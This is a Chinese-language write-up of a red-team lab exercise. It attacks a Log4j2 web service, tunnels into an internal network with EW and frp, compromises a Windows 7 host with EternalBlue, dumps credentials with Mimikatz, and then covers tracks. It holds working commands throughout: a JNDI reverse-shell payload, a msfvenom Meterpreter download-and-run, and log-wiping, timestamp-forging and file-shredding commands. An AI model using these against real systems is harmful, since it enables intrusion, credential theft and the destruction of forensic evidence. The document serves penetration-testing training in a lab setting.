Redteam.lab_Writeup
Redteam.lab_Writeup
Redteam.lab环境搭建
1、项目地址
略
2、网络拓扑
3、环境说明
设备 | 网卡 | 用户名 | 密码 | 备注 |
---|---|---|---|---|
kali (攻击机) | 192.168.126.134/24 | kali | kali | |
Ubuntu_web (门户网站) | 192.168.126.152/24(外网) | 10.0.1.6/24 | saul | Saul123 | sudo docker start cc4ddedd1727 (启动docker容器_web网站) |
Windows 7 (域个人机) | 10.0.1.7/24 | 10.0.0.7/24 | hong | 密码空 | 域账户:redteam/root:Red12345 |
Windows Server 2012 R2 (域控制器) | 10.0.0.12/24 | Administrator | Admin12345 |
虚拟网络编辑器
Ubuntu
Windows7
Windows Server 2012 R2
4、WP、漏洞复现
略
5、最初的已知条件
192.168.126.152
6、实现目标
目标:获取 DC 服务器高权限,拿到三个Flag文件。
拿下web_ubuntu上的docker容器
1、nmap主机发现
nmap -sn 192.168.126.0/24
map -p- -T4 192.168.126.152
nmap -p22,38080 -A -O -T4 192.168.126.152
2、log4j2远程代码执行漏洞
①log4j2漏洞验证
访问web服务http://192.168.126.152:38080
通过观察标签页小图标发现,该系统可能存在 SpringBoot 或者 Log4j2 框架漏洞
尝试 Log4j2 漏洞测试 【log4j2远程代码执行漏洞原理与漏洞复现】
curl 192.168.126.152:38080/hello -X POST -d 'payload=${jndi:ldap://in44pc.dnslog.cn}'
==> in44pc.dnslog.cn 【证明存在此漏洞】
curl 192.168.126.152:38080/hello -X POST -d 'payload=${jndi:ldap://${sys:java.version}.in44pc.dnslog.cn}'
==> 1.8.0_292.in44pc.dnslog.cn 【打印系统java版本】
②log4j2远程代码执行漏洞复现
方法一:编写恶意文件
方法二: 使用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
方法三: 使用工具:JNDIExploit-1.2-SNAPSHOT.jar
【下文使用方法三】
①kali开启HTTP(8080)和LDAP(1389)服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.126.152
②开启监听
nc -lvvp 9999
③payload制作
bash -i >& /dev/tcp/192.168.126.134/9999>&1 【bash反弹shell(134为kali地址)】
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzQvOTk5OSAwPiYx 【bash反弹shell经base64加密】
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzQvOTk5OSAwPiYx 【+ => 双重url编码 => %252b】
④模拟浏览器访问
curl 192.168.126.152:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.126.134:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjEyNi4xMzQvOTk5OSAwPiYx}'
拿下Ubuntu设备
通过经验发觉,该环境估计为docker容器,判断如下:
ls -alh /.dockerenv # 查看是否存在 .dockerrnv 这个隐藏文件
cat /proc/1/cgroup # 查看系统进程的cgroup信息
尝试docker逃逸 【docker逃逸总结】
1、Docker-RunC漏洞致容器逃逸(CVE-2019-5736)
CVE-2019-5736 是 runC 的 CVE 漏洞编号,runC 最初是作为 Docker 的一部分开发的,后来作为一个单独的开源工具和库被提取出来,在 docker 整个架构的运行过程中,Containerd 向 docker 提供运行容器的 API,二者通过 grpc 进行交互。containerd 最后通过 runc 来实际运行容器。
使用条件:
Docker Version < 18.09.2
RunC Version <1.0-rc6
攻击者具有容器文件上传权限 & 管理员使用exec访问容器 || 攻击者具有启动容器权限
因版本太高,该漏洞没法使用。
# 靶机查看docker版本 => 发现版本过高,无法使用Docker runC漏洞逃逸
sudo docker version
sudo docker info
2、Docker特权模式逃逸
特权模式 –privileged
使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令
fdisk -l
ls -al /dev
cat /proc/self/status |grep Cap
容器未设置privileged特权模式
3、信息泄露逃逸
发现第一个flag
在 root 主目录下找到第一个flag
尝试ssh连接
并且有账号/密码的信息泄露 saul/Saul123 ,尝试ssh连接:
发现存在一个内网网段
进内网
1、内网信息收集
for k in $(seq 1 255);do ping -c 1 10.0.1.$k|grep "ttl"|awk -F "[ :]+" '{print$4}'; done
2、上线MSF木马
msfvenom写Linux的木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.126.134 LPORT=6666 -f elf > carmi.elf
python3 -m http.server 11111
想办法上传到对方服务器并运行
cd /tmp
ls
wget http://192.168.126.134:11111/carmi.elf
chmod 777 carmi.elf
ls -al
./carmi
设置监听并上线
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.126.134
msf6 exploit(multi/handler) > set lport 6666
msf6 exploit(multi/handler) > run
meterpreter > sysinfo
Computer : 192.168.126.152
OS : Ubuntu 18.04 (Linux 5.4.0-84-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
3、错误的EW隧道代理
上传隧道代理工具
分别运行EW
在攻击机上执行如下(先):
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
在服务器上上传ew_for_linux64,并执行如下命令(后):
./ew_for_linux64 -s rssocks -d 172.30.7.181 -e 1234
修改/etc/proxychains.conf文件
msf上代理
meterpreter > run autoroute -s 10.0.1.0/24
meterpreter > run autoroute -p
自此,次MSF窗口就可以成功代理进内网
4、内网漫游
msf内网端口探测
use auxiliary/scanner/portscan/tcp
set rhosts 10.0.1.7
run
smb服务探测
use auxiliary/scanner/smb/smb_version
set rhosts 10.0.1.7
run
永恒之蓝拿下域内主机
1、EW代理下的MSF
目标主机win7
确实存在永恒之蓝
漏洞
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.0.1.7
接下来我们继续使用MSF
的模块进行漏洞利用,由于目标机器不一定出网,我们选择用正向连接的payload
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 10.0.1.7
run
尝试了好多模块和payload,可是还是不太行。这个像攻击成功,又不像攻击成功的。
我们在这里一直使用的是EW开启的代理。因为之前EW代理也是一样永恒之蓝不成功,这里试着想换一种,看看强大的frp代理是否可行。
tips:虽然我们已经建立了路由,但并没有在msf中设置全局代理,所以是无法攻击成功的。
setg Proxies socks5:192.168.1.6:1080 #设置全局代理
set ReverseAllowProxy true #这个参数是因为使用全局代理,可能会导致我们的shell无法反弹,所以需要开启。
2、frp代理下的MSF
【frps.ini】
[common]
bind_addr = 0.0.0.0 # 设置监听的ip ,一般是你的外网ip,0.0.0.0表示都监听
bind_port = 8000 # 监听的端口,等待客户端连接
dashboard_addr = 0.0.0.0 # frp网站服务器的ip,可以访问登录
dashboard_port = 7600 # frp网站服务器的端口,可以访问登录
dashboard_user = root # frp网站服务账号
dashboard_pwd = 123456 # frp网站服务密码
token = 1q2w3e # 客户端的连接密码
heartbeat_timeout = 90 # 连接超时的时间
max_pool_count = 5 # 允许连接的客户端数量
[common]
bind_addr = 0.0.0.0
bind_port = 8000
dashboard_addr = 0.0.0.0
dashboard_port = 7600
dashboard_user = root
dashboard_pwd = 123456
token = 1q2w3e
heartbeat_timeout = 90
max_pool_count = 5
【frpc.ini】
[common]
tls_enable = true
server_addr = 192.168.126.134 # vps 服务器地址
server_port = 8000 # vps服务器监听地址
token = 1q2w3e # 设置的密码 ,设置完流量加密,不好解。
pool_count = 5 # 将提前建立连接,默认值为 0
protocol = tcp # 通信方式
health_check_type = tcp # frpc 将连接本地服务的端口以检测其健康状态
health_check_interval_s = 100 # 健康检查时间间隔
[proxies]
remote_port = 6000 # 把流量转发到vps那个端口 ,这个是重点等下会用到
plugin = socks5 #plugin 表示为插件
use_encryption = true
use_compression = true
[common]
tls_enable = true
server_addr = 192.168.126.134
server_port = 8000
token = 1q2w3e
pool_count = 5
protocol = tcp
health_check_type = tcp
health_check_interval_s = 100
[proxies]
remote_port = 6000
plugin = socks5
use_encryption = true
use_compression = true
3、auxiliary走frp的嗅探
use auxiliary/scanner/smb/smb_ms17_010
setg Proxies socks5:127.0.0.1:6000
set rhosts 10.0.1.7
run
4、走frp的永恒之蓝攻击
use exploit/windows/smb/ms17_010_eternalblue
setg Proxies socks5:127.0.0.1:6000
set rhosts 10.0.1.7
set payload windows/x64/meterpreter/bind_tcp
run
域内主机信息收集
1、探测内网网段
2、加载Mimikatz抓取明文密码
load mimikatz
creds_all # 执行命令后可以获得高权限
3、拿上域内主机上的flag
查看下root用户目录是否有flag
for /r c:\users\root %i in (flag.txt) do echo %i
4、其余收集
Ladon911.exe没法使用
主机情况
C:\Windows\system32>ipconfig /all
C:\Windows\system32>whoami /user
C:\Windows\system32>net user
收集域控情况
我这边效果不佳,直接拿值出来把。
命令 | 功能 | 值 |
---|---|---|
net view /domain | 查看域 | REDTEAM |
net group "domain admins" /domain | 查看域管理员 | administrator |
net user /domain | 查看域用户 | Administrator、root |
net group "domain controllers" /domain | 查看域控 | DC |
C:\Windows\system32>net user /domain
C:\Windows\system32>net group "domain admins" /domain
C:\Windows\system32>net group "domain controllers" /domain
C:\Windows\system32>net view /domain
C:\Windows\system32>ping DC
拿下域控
考虑两个域内核武器漏洞:CVE-2021-42287、CVE-2021-42278
1、设置代理
在使用代理之前,我们需要先添加路由,让MSF能到达目标机器内网。因为这里socks模块只是将代理设置为监听的端口(默认是1080),即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口,所以通过代理走的流量也都能到达内网。
先配置代理,利用MSF添加了一个socks(2080):
2、进行攻击
但是我的这些方法都失败了,看报错消息好像是我的靶机打了补丁!!!
3、直接看效果
复制别人的效果图了
4、拿到最终的flag
痕迹清理
由于目前经验有限,该部分直接学习MS08067的
1、Windows
日志清理主要分为全量清理和定向清理,全量清理可以提升被溯源反制的难度,但其动作较大容易被发现;定向清理相对比较隐蔽,可以增加溯源反制的时间和成本,但可能清理不到位,增加被溯源反制的风险。实战中,两者可以结合使用。值得注意的是,日志清理也是系统事件所以也会被记录。不管怎样,并不存在完美的痕迹清理。
1.1windows主机三大核心日志清理
# 全量清理
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
1.2防火墙日志清理
cd logfiles/firewall
del xxx.log
1.3服务器日志清理
默认情况,在 %systemroot%\system32\logfles\
下有FTP、IIS服务器等日志。
FTP日志默认位置: %systemroot%\system32\logfiles\msftpsvc1\
WWW日志默认位置: %sys temroot%\sys tem32\logfiles\w3svc1\
Scheduler服务日志默认位置: %systemroot%\schedlgu.txt
DNS日志默认位置: %systemroot%\system32\config
如果发现这些日志被重定位,通过注册表 HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
下很多的子表,查到一些日志的定位目录。
1.4远程连接日志清理
# 进入Default.rdp所在路径
cd %userprofile%\documents\
# 使用attrib去掉Default.rdp文件的,系统文件属性(S);隐藏文件属性(H)
attrib Default.rdp -s -h
# 删除
del Default.rdp
1.5近期访问记录清理
# 用户最近访问过的文件和网页记录
C:\Users\root\AppData\Local\Microsoft\Windows\History
# 近期访问过的文件
C:\Users\root\Recent
1.6安全删除文件
利用cipher覆写文件
cipher /w:X # 其中X指盘符或文件具体位置
cipher /w:c:\users\root\desktop\flag.txt
1.7安全隐藏文件
Powershell 修改文件时间戳:
Function edit_time($path){$date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item
$path).lastaccesstime=$date1.LastWriteTime;
$(Get-Item $path).creationtime=$date2.LastWriteTime ;
$(Get-Item $path).lastwritetime=$date3.LastWriteTime};
edit_time("C:\Users\root\desktop\flag.txt")
2、Linux
隐藏远程ssh登录记录:ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
当前shell终止history记录:set +o history 、 kill -9 $$
隐藏文件修改时间:touch -r A B (修改系统时间后执行效果更好)
2.1清理历史记录
history -c
2.2清理日志文件
# 全量清理
echo > /var/log/btmp
echo > /var/log/lastlog
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/message
# 部分清理
sed -i '/你的IP/'d filename
# 部分替换
sed -i 's/1.1.1.1/2.2.2.2/g' /var/log/nginx/access.log
# 例如
ls -al /var/log/lastlog && echo > /var/log/lastlog && ls -al /var/log/lastlog
文件 | 描述 |
---|---|
/var/log/btmp | 记录所有登录失败信息,使用lastb命令查看 |
/var/log/lastlog | 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看 |
/var/log/wtmp | 记录所有用户的登录、注销信息,使用last命令查看 |
/var/log/utmp | 记录当前已经登录的用户信息,使用w,who,users等命令查看 |
/var/log/secure | 记录与安全相关的日志信息 |
/var/log/message | 记录系统启动后的信息和错误日志 |
2.3安全删除文件
使用shred
覆写一些渗透留下的文件:
shred -f -u -z -v -n 6 ew_for_linux64